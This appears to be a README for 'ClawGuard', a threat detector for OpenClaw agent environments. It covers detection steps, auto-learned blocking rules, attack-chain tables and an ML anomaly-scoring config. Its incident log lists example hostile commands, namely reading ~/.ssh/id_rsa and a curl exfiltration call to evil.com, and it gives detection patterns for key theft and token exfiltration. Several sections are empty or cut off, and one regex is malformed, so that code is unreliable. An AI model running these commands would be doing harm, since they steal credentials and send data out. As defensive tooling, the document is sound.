ClawGuard-Detector

ClawGuard Threat Detector (CG-TD)

Enterprise-grade real-time threat detection and behavioral monitoring system for OpenClaw environments. Provides comprehensive runtime security analysis with advanced attack pattern recognition, MITRE ATT&CK mapping, and AI-powered anomaly detection.

How to Execute

Follow these steps when detecting threats:

Step 1: Analyze Command

Step 2: Analyze File Access

Step 3: Analyze Network Requests

Step 4: Analyze User Inputs

Step 5: Detect Attack Chains

Step 6: Output Result

Step 7: Auto-Learning (Example Actions)

1. Log the incident: Write to .safety/ATTEMPTS.md

   | Timestamp | User | Attempted Action | Threat Type | Outcome | New Rule ID |
   |-----------|------|------------------|-------------|---------|-------------|
   | 2026-03-26 18:46 | User | read ~/.ssh/id_rsa | Credential Access | BLOCKED | cred-steal-ssh |
   | 2026-03-26 19:12 | User | curl http://evil.com/exfil | Data Exfiltration | BLOCKED | network-exfil-block |
   

2. Extract threat pattern: Create new dynamic rules for the safety engine

   {
     "id": "cred-steal-ssh",
     "pattern": ".*\\.ssh\\/id_rsa.*",
     "description": "Prevent access to private SSH keys",
     "severity": "critical",
     "source": "auto-learn"
   }
   

3. Update Safety Engine: The self-improving-safety module UI/CLI reflects these new constraints immediately.

4. Continuous Improvement: These rules are persisted to prevent similar attack vectors in future sessions.

Purpose

ClawGuard Threat Detector is the third line of defense, providing continuous runtime monitoring for OpenClaw instances. It detects:

Phase 1: Command Monitoring

Real-time Command Inspection

ClawGuard monitors all executed commands for malicious patterns:

const COMMAND_PATTERNS = 
  // Data Exfiltration
  {
    name: 'curl_with_token',
    pattern: /curl.*[?&=/i,
    severity: 'CRITICAL',

Phase 5: Behavior Chain Analysis

Multi-stage Attack Detection

ClawGuard correlates events across time to detect attack chains:

┌─────────────────────────────────────────────────────────────┐
│                  ATTACK CHAIN EXAMPLE                        │

| Chain | Stages | Severity | |-------|--------|----------| | Data Exfiltration | Recon → Access → Exfil | CRITICAL | | Reverse Shell | Recon → Exploit → C2 | CRITICAL | | Persistence | Access → Persistence | HIGH | | Privilege Escalation | Access → PrivEsc | HIGH | | Lateral Movement | Access → Lateral | CRITICAL |

Phase 6: ML-based Anomaly Detection

Feature Extraction for Real-time Detection

const FEATURE_EXTRACTION = {
  // Command features
  command_features: [
    'command_length',
    'special_char_ratio',
    'path_depth',
    'suspicious_keywords',
    'encoding_detected'
  ],
  // Network features
  network_features: [
    'connection_count',
    'unique_destinations',
    'data_volume',
    'protocol_distribution',
    'connection_frequency'
  ],
  // File features
  file_features: [
    'files_accessed',
    'sensitive_access',
    'write_operations',
    'directory_traversal'
  ],
  // Temporal features
  temporal_features: [
    'commands_per_minute',
    'burst_pattern',
    'time_since_start',
    'session_duration'
  ]
};

Anomaly Scoring

ClawGuard uses ensemble ML for real-time threat detection:

const ML_ENSEMBLE = {
  models: {
    isolation_forest: {
      weight: 0.3,
      purpose: 'outlier_detection'
    },
    local_outlier_factor: {
      weight: 0.2,
      purpose: 'density_based'
    },
    neural_network: {
      weight: 0.3,
      purpose: 'pattern_classification'
    },
    rule_based: {
      weight: 0.2,
      purpose: 'known_threats'
    }
  },
  threshold: {
    alert: 0.7,
    block: 0.9
  }
};
